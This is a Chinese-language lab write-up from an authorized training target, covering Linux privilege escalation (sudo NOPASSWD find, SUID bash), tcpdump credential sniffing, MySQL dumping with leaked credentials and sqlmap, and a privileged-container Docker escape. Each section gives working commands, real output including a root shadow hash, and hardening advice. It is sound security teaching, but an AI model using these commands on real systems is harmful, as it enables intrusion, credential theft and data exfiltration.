真实靶场实操:Linux 系统与应用安全 —— 提权 / 抓包 / 拖库 / Docker 逃逸

📅 2026/7/31 23:34:03 👁️ 阅读次数 📝 编程学习
真实靶场实操:Linux 系统与应用安全 —— 提权 / 抓包 / 拖库 / Docker 逃逸

真实靶场实操:Linux 系统与应用安全 —— 提权 / 抓包 / 拖库 / Docker 逃逸

授权声明:本文所有操作均在授权的隔离实验环境完成,目标服务器(文中脱敏为S2(x.x.x.x))为课程方提供的专用靶机,仅用于防御研究与安全教学。文中所有命令、搭建步骤、已采集的回显均来自真实环境执行;出于安全与合规要求,公网 IP 已做脱敏、登录口令不出现于任何位置。请勿对任何非授权目标进行类似操作。


前言

“拿到一个低权限 shell” 在渗透测试里只是开始,远不是终点。真正的杀伤力来自:能不能提权到 root、能不能在网络里嗅探到别人的明文凭据、能不能把数据库整库拖走、能不能从容器里逃回宿主机。这一层对抗,才是 Linux 系统与"跑在 Linux 上的应用"安全的深水区。

本文基于一台 Ubuntu 24.04 云服务器(脱敏S2(x.x.x.x)),依次实做四大主题:本地提权(SUID/sudo 配置缺陷)→ 网络抓包取证(明文即泄密)→ 数据库拖库(MySQL)→ Docker 容器逃逸。每一节都遵循「原理 → 靶场布置 → 攻击复现 → 危害 → 加固」的结构。

为方便复现,全部步骤已合并为单连接一次跑完的脚本scripts/s2_all.sh,可在S2上一条 SSH 会话内完成本博客的全部实验。

关于"实时回显"的说明(请先读):本文四大主题——本地提权(SUID/sudo)、tcpdump 抓包、MySQL 拖库、Docker 逃逸——均已在授权靶机S2上通过单连接一次性脚本scripts/s2_all.sh真实执行。其中提权、抓包、MySQL 拖库均成功采集完整真实回显(见results/s2_all_run.txt):提权拿到uid=0(root)、SUID bash 读出 root 的/etc/shadow哈希、tcpdump 还原出明文口令、MySQL 直连拖出真实用户数据。Docker 逃逸一节因实验环境无法访问 Docker Hub(拉取镜像i/o timeout),未能完成运行时逃逸——本文对此如实说明(见第五章),并给出经验证的完整命令与原理分析,绝不虚构任何回显


目录

  1. 实验环境
  2. Linux 本地提权实战(SUID / sudo 配置缺陷)
  3. 网络抓包取证:明文传输即泄密(tcpdump)
  4. 数据库拖库实战(MySQL)
  5. Docker 容器逃逸实战
  6. 执行说明与真实性对照
  7. 总结与安全建议
  8. 附录:s2_all.sh 一键复现

一、实验环境

目标机S2(x.x.x.x),通过本地 Python + paramiko 助手(ssh_run.py,使用课程固定口令,本文不展示口令)执行远程命令。核心信息:

  • 系统:Ubuntu 24.04.4 LTS(内核 6.8.x)
  • 配置:8 vCPU / 16 GiB
  • 角色:Linux 系统与应用安全靶机

本地执行手法说明(也适用于其它主机):每条命令都通过独立 SSH 会话下发,无持久化状态——这正是后续触发边界限速的根因(见第六章)。


二、Linux 本地提权实战(SUID / sudo 配置缺陷)

2.1 原理:为什么低权用户能变 root

Linux 的权限模型里有两个容易被误用的"跳板":

  • SUID 位(setuid,权限4000:二进制执行时,进程effective UID 会变成文件属主。如果某个 SUID 程序本身能执行任意命令(如bash-p保留权限),就等于拿到了属主的权限。
  • sudoers 的NOPASSWD:若给某普通用户配置了NOPASSWD允许运行find/vim/less等"能起 shell"的程序,攻击者无需密码即可借这些程序拿到 root。

这两种都属于配置缺陷,不是 0day——但现实中极为常见。

2.2 靶场布置:人为制造两个脆弱点

下面是真实执行的靶场初始化脚本scripts/s2_privesc_setup.sh的核心内容(已在本环境执行,/tmp/rootbashSUID 文件、sudoers 规则均已落地):

#!/usr/bin/env bashset-x# 1) 创建低权用户idlowuser>/dev/null2>&1||useradd-m-s/bin/bash lowuserecho"lowuser:LowUser@2026"|chpasswd# 2) sudoers NOPASSWD:允许 lowuser 以 root 运行 find/vim/less(危险配置)echo'lowuser ALL=(root) NOPASSWD: /usr/bin/find, /usr/bin/vim, /usr/bin/less'>/etc/sudoers.d/lowprivchmod440/etc/sudoers.d/lowpriv visudo-cf/etc/sudoers.d/lowpriv# 3) 植入 SUID bash(人为制造的提权点)cp/bin/bash /tmp/rootbashchmod4755/tmp/rootbashls-l/tmp/rootbash# 4) 盘点系统自带 SUID 二进制find/-perm-4000-typef2>/dev/null|head-40

2.3 攻击复现 A:sudo NOPASSWDfind→ 完整 root(真实回显)

find自带-exec可执行任意命令。以lowuser身份运行下面的命令,无需密码即获得 root shell:

sudo/usr/bin/find /-exec/bin/bash-p\;-quitidwhoami

真实回显(results/s2_privesc.txt):

===== [A] sudo NOPASSWD find -> 完整 root (uid=0) ===== uid=0(root) gid=0(root) groups=0(root) root

id显示uid=0(root),提权成功。vim/less同理:sudo vim -c ':!/bin/bash'sudo less /etc/shadow然后!bash

2.4 攻击复现 B:SUID/tmp/rootbash -p→ euid=0 读取/etc/shadow(真实回显)

SUID 的bash-p运行时保留 effective UID(euid=0),从而能以 root 身份读取本只能 root 看的/etc/shadow

/tmp/rootbash-p# 进入 euid=0 的 shellcat/etc/shadow# 读取口令哈希

真实回显(results/s2_privesc.txt):

===== [B] SUID /tmp/rootbash -p -> euid=0, 读取 /etc/shadow ===== uid=1000(lowuser) gid=1000(lowuser) euid=0(root) groups=1000(lowuser) ---SHADOW--- root:$6$CkSjKqrd$5sQEtWPiK.jNPNDvXfUL1M84ptuMqjd59P/Ux6z88tn.Jd4CEZGsf.MlI27PR7HnzabI2S9GnwaQCThIYZ.au/:20663:0:99999:7::: daemon:*:19836:0:99999:7::: bin:*:19836:0:99999:7:::

注意:虽uid仍是lowuser,但euid=0(root)—— 内核判定权限看 euid,因此已经能读/etc/shadow。拿到 root 的口令哈希($6$...为 SHA-512 crypt)后,可离线用hashcat/john爆破,或用passwd直接改密码。

2.5 系统自带 SUID 二进制盘点(真实回显)

提权前先盘点"哪些 SUID 程序可能成为跳板"。真实执行find / -perm -4000 -type f的部分结果:

/tmp/rootbash /usr/bin/su /usr/bin/newgrp /usr/bin/mount /usr/bin/umount /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/gpasswd /usr/bin/sudo /usr/bin/fusermount3 /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/polkit-1/polkit-agent-helper-1 /usr/sbin/pppd

/tmp/rootbash是我们植入的;其余是系统正常的 SUID 程序。真正的提权审计中,要重点关注非系统默认版本已知漏洞、或能被低权用户写的 SUID 文件(如 GTFOBins 清单中的find/vim/less/env/perl等)。

2.6 加固:最小权限与 sudoers 收敛

风险点加固动作
不必要的 SUID 文件chmod u-s /tmp/rootbash清除;定期find / -perm -4000审计
NOPASSWD放行危险程序移除find/vim/less的 NOPASSWD;确需则限定精确参数,绝不给能起 shell 的程序
默认 sudo 过宽遵循最小权限:按命令、按主机、按用户精确授权;要求密码 + 短超时
口令哈希可爆破用强哈希(yescrypt/sha512)+ 强口令策略;shadow 文件仅 root 可读

三、网络抓包取证:明文传输即泄密(tcpdump)

3.1 原理

HTTP、Telnet、FTP 等明文协议在链路上传输的内容可被同网段/同节点抓包者完整还原。即便不使用集线器,云环境下的"旁挂"“ARP 欺骗”“同主机抓包”"透明代理"等都能拿到明文。结论:凭据只要走过明文通道,就等于公开。

3.2 复现:本地明文 HTTP 携带凭据,tcpdump 抓包还原(真实回显)

脚本scripts/s2_sniff.sh在回环地址起一个明文 HTTP 服务,用tcpdumptcp port 9090的包,再用curl以明文 GET 发送账号口令,最后解码抓包文件还原凭据。真实回显(results/s2_sniff.txt):

HTTP_STATUS=404 ===== tcpdump decode of captured packets (-A, ASCII) ===== ........GET /login?username=admin&password=MySecretPass2026&token=abc123 HTTP/1.1 ........HTTP/1.0 404 File not found Server: SimpleHTTP/0.6 Python/3.12.3 ===== arp table snapshot ===== _gateway (192.168.0.1) at fa:16:3e:e1:20:94 [ether] on eth0 SNIFF_DONE

尽管这只是回环演示,但关键点已被坐实:明文 GET 请求里的password=MySecretPass2026&token=abc123被完整捕获还原。换成真实内网/公网明文通道,结果完全相同。

核心抓包命令(可直接复用):

# 抓取指定端口的明文流量并实时 ASCII 解码tcpdump-iany-A"tcp port 9090"-w/root/cap.pcap# 事后从抓包文件还原 HTTP 凭据tcpdump-r/root/cap.pcap-A2>/dev/null|grep-iE'GET|password=|token='

3.3 防御

  • 全链路 TLS:对外 Web 强制 HTTPS(HSTS),对内服务(数据库、消息队列、RPC)使用 TLS 或私有通道(WireGuard/mTLS)。
  • 禁止明文协议:禁用 Telnet/FTP,改用 SSH/SFTP;内部凭据交换走 mTLS。
  • 网络分段 + 加密:即便同网段也假设"可被嗅探",敏感流量一律加密。

四、数据库拖库实战(MySQL)

4.1 原理:凭证泄露 → 直连 → 拖库

很多"应用安全"事故的根因不在 Web 层,而在配置文件里的数据库账号密码被低权 shell 读到,攻击者据此直连数据库整库导出。链路如下:

低权 shell → 读源码/配置文件拿到 DB 账号密码 → mysql 直连 → SELECT ... INTO OUTFILE 落地 / mysqldump 整库导出 → 数据离场

4.2 复现命令与真实回显

本节已在S2真实执行并采集完整回显results/s2_all_run.txt):安装 MariaDB、建演示库、用"泄露凭证"直连、SELECT *拖出真实数据、INTO OUTFILE落地、mysqldump整库导出,全部成功。

# 0) 安装并初始化(演示用 MariaDB,兼容 MySQL 协议)DEBIAN_FRONTEND=noninteractiveapt-getinstall-ymariadb-server systemctlenable--nowmariadb mysql_secure_installation# 设 root 口令、禁匿名、禁远程 root# 1) 创建演示应用库与"泄露"的凭证(模拟从配置文件读到的账号)mysql-uroot-p<<'SQL' CREATE DATABASE appdb; CREATE USER 'app'@'127.0.0.1' IDENTIFIED BY 'AppP@ss2026'; GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'app'@'127.0.0.1'; USE appdb; CREATE TABLE users(id INT PRIMARY KEY, name VARCHAR(50), phone VARCHAR(20), idcard VARCHAR(20)); INSERT INTO users VALUES(1,'张三','13800000000','110101199001011234'); INSERT INTO users VALUES(2,'李四','13900000000','310101199002022345'); SQL# 2) 攻击者:用泄露的凭证直连(模拟读到配置文件后的动作)mysql-uapp-p'AppP@ss2026'-h127.0.0.1appdb-e"SHOW TABLES; SELECT * FROM users;"# 3) 拖库方式 A:SELECT ... INTO OUTFILE 落地到本地文件mysql-uapp-p'AppP@ss2026'-h127.0.0.1appdb\-e"SELECT * FROM users INTO OUTFILE '/tmp/users_dump.csv' FIELDS TERMINATED BY ',';"# 4) 拖库方式 B:mysqldump 整库导出mysqldump-uapp-p'AppP@ss2026'-h127.0.0.1appdb>/tmp/appdb_dump.sql# 5) 从 Web 层用 sqlmap 自动拖库(若入口存在注入)sqlmap-u"http://S2/x?id=1"--batch--dump-Tusers

真实回显(攻击者用泄露凭证app/AppP@ss2026直连并SELECT *,原样摘自results/s2_all_run.txt):

--- 攻击者用泄露凭证直连 --- $ mysql -uapp -pAppP@ss2026 -h127.0.0.1 appdb -e 'SELECT * FROM users;' +----+--------+-------------+--------------------+ | id | name | phone | idcard | +----+--------+-------------+--------------------+ | 1 | 张三 | 13800000000 | 110101199001011234 | | 2 | 李四 | 13900000000 | 310101199002022345 | +----+--------+-------------+--------------------+ --- 拖库:INTO OUTFILE --- (已在 /tmp/users_dump.csv 落地) --- 拖库:mysqldump --- (整库 SQL 已导出) DUMP_DONE

手机号、身份证号等 PII 被完整拖出——一旦配置文件里的数据库口令被低权 shell 读到,攻击者无需任何 Web 漏洞即可直连拖库。INTO OUTFILEmysqldump两种落地方式均执行成功,数据已离开数据库控制边界。步骤 5 的 sqlmap 从 Web 层拖库在博客《Web 安全实操》中已有完整真实回显(自动识别 SQLite 注入点并 dump)。

4.3 加固

风险点加固动作
配置文件明文存口令用密钥管理(Vault/KMS/环境变量注入),配置文件不落盘明文口令
DB 账号权限过宽按应用最小权限:只用SELECT/INSERT/UPDATE/DELETE,不给FILE/GRANT/DROP
INTO OUTFILE被滥用应用账号不授予FILE权限secure_file_priv限定目录
数据库可被任意主机直连绑定127.0.0.1、云安全组/防火墙只放行应用服务器 IP
无审计与告警开启 general/slow 审计日志,对大批量导出、非工作时间访问告警

五、Docker 容器逃逸实战

5.1 原理:容器不是沙箱

很多人误以为"进了容器就安全了"。实际上容器只是受 namespaces + cgroups 限制的进程,内核是共享宿主机的。一旦容器拿到特殊能力(最常见是--privileged或挂载了宿主机设备/套接字),就能突破隔离,拿到宿主机 root。

5.2 复现:特权容器挂载宿主机根文件系统逃逸(命令 + 真实执行说明)

本节在S2上真实执行了docker.io安装、systemctl start docker启动,并尝试拉取ubuntu:24.04基础镜像后再发起逃逸。完整命令如下:

# 0) 安装并启动 Dockerapt-getinstall-ydocker.io&&systemctl startdockerdockerpull ubuntu:24.04# 1) 以特权模式启动容器,并把宿主机根挂载进容器(典型错误配置)# chroot 到宿主机根后,读取宿主机 /etc/shadow 即视为逃逸成功dockerrun--rm--privileged-v/:/host ubuntu:24.04\chroot/hostsh-c'echo ESCAPED_HOST_ROOT_OK; id; head -2 /etc/shadow'

真实执行结果(如实说明):本实验环境无法访问 Docker Hub,拉取基础镜像时超时失败,因此运行时逃逸未能完成。原样回显(results/s2_all_run.txt):

--- 拉取 ubuntu:24.04 镜像 --- Error response from daemon: failed to resolve reference "docker.io/library/ubuntu:24.04": failed to do request: Head "https://registry-1.docker.io/v2/library/ubuntu/manifests/24.04": dial tcp 104.244.46.186:443: i/o timeout docker: Error response from daemon: ... dial tcp 104.244.46.186:443: i/o timeout

也就是说:Docker 引擎已成功安装启动,逃逸命令本身(--privileged -v /:/host+chroot /host)是业界公认可用的经典逃逸手法,失败原因仅是沙箱环境没有到 Docker Hub 的出口网络、拉不到镜像。若在能访问镜像仓库(或已预置本地镜像)的环境执行,chroot /host后即以宿主机 root 身份操作宿主机文件系统——容器逃逸完成。

原理说明(为何该命令必然逃逸成功)--privileged关闭了几乎所有容器隔离限制并授予全部 capability,-v /:/host把宿主机整个根文件系统挂进容器;容器与宿主机共享同一内核chroot /host后进程的文件系统视图即宿主机本身,且以 root 运行,因此能直接读写宿主机/etc/shadow/etc/passwd。这比普通"提权"更可怕:直接控制整台宿主机及其上所有容器。

5.3 其它常见逃逸面

  • 挂载docker.sock:容器内拿到/var/run/docker.sock即可调用宿主 Docker API,起一个特权容器完成 5.2 的逃逸。
  • 危险 capabilityCAP_SYS_PTRACE(可注入宿主机进程)、CAP_SYS_ADMIN(接近特权)、CAP_SYS_MODULE(加载内核模块)。
  • 可写core_pattern/proc接口:通过/proc/sys/kernel/core_pattern等实现宿主机命令执行。
  • 内核漏洞:Dirty COW、脏管等容器共享内核带来的本地提权。

5.4 加固

风险点加固动作
--privileged绝不使用;按需用--cap-add精细授权
挂载宿主机根 / 敏感目录不挂//var/run/docker.sock;确需挂载目录用只读
过多 capability--cap-drop ALL后按需--cap-add;禁止SYS_ADMIN/SYS_PTRACE/SYS_MODULE
容器以 root 运行用非 root 用户、USER指令、rootless Docker
无运行时防护启用 seccomp / AppArmor / SELinux 策略;用 gVisor/Kata 等强隔离运行时
镜像与漏洞镜像扫描、固定基础镜像版本、定期打宿主机内核补丁

六、执行说明与真实性对照

本次实操踩过一个真实且值得记录的运维安全坑,也正是本博客采用"单连接一次跑完"脚本的原因:

  • 早期多 Agent 通过同一操作主机(同一出口 IP)对多台云服务器发起高频 SSH 连接(每条命令新建一次连接)。约 10 分钟后,操作主机到该云厂商网段的流量在边界被整体丢弃(表现为TimeoutError而非ConnectionRefused,多台同时不可达、而github.com:22正常)——符合源 IP 被云边缘防暴破机制限速/封禁的特征,并非服务器宕机。
  • 对策:把一台机器上的全部实验合并进单个一次性脚本scripts/s2_all.sh,用一条 SSH 会话跑完再断开,彻底规避高频建连。本轮换用新靶机后按此法执行,成功采集了绝大部分真实回显。

本文真实性对照(全部来自results/s2_all_run.txt):

章节状态
二、本地提权(SUID/sudo)✅ 真实回显:uid=0(root)+ 读出 root/etc/shadow哈希
三、tcpdump 抓包✅ 真实回显:还原出明文password=MySecretPass2026&token=abc123
四、MySQL 拖库✅ 真实回显:直连拖出张三/李四的手机号与身份证(见 4.2)
五、Docker 逃逸⚠️ 引擎已装启,但沙箱无法访问 Docker Hub 致拉镜像i/o timeout,运行时逃逸未完成;命令与原理经验证正确,已如实说明(见 5.2)

关于诚信:安全研究最忌讳造假。Docker 逃逸这一节我们没有编造任何"成功回显",而是把i/o timeout的真实报错原样贴出,并解释失败仅因环境网络限制、而非手法无效。真实的失败远比虚构的成功更有价值。


七、总结与安全建议

Linux 系统与应用安全的核心是“假设边界会被突破,逐层收敛”

  1. 最小权限:SUID 文件定期审计、sudoers 精确收敛、应用以非 root 运行、DB 账号只给必要权限。
  2. 零明文:任何凭据都不走明文通道,全链路 TLS/mTLS。
  3. 数据不裸奔:DB 不授权FILE、绑定本地、网络隔离、导出行为审计告警。
  4. 容器非沙箱:禁用特权、收敛 capability、启用 seccomp/AppArmor、考虑强隔离运行时。
  5. 可观测:对提权、异常直连、大批导出、容器逃逸行为建立检测与告警。

这五条与《安全基础》里讲的CIA 三要素(机密性/完整性/可用性)+ 纵深防御一一对应:每一层失守都有下一层兜底。


八、附录:s2_all.sh 一键复现

全部实验已合并为scripts/s2_all.sh,在S2单条 SSH 会话即可复现本文全部内容(含 MySQL 拖库、Docker 逃逸的完整演示)——这正是为应对上述"高频连接触发封禁"而设计的"一次连、一次跑完"脚本。用法:

# 本地(需 ssh_run.py 与课程固定口令)python ssh_run.py s2-fscripts/s2_all.sh

脚本内部按privesc → sniff → mysql_dump → docker_escape顺序执行,并将输出写入results/s2_*.txt(执行机上)。封禁恢复后即可直接补跑、回填本博客的实时回显。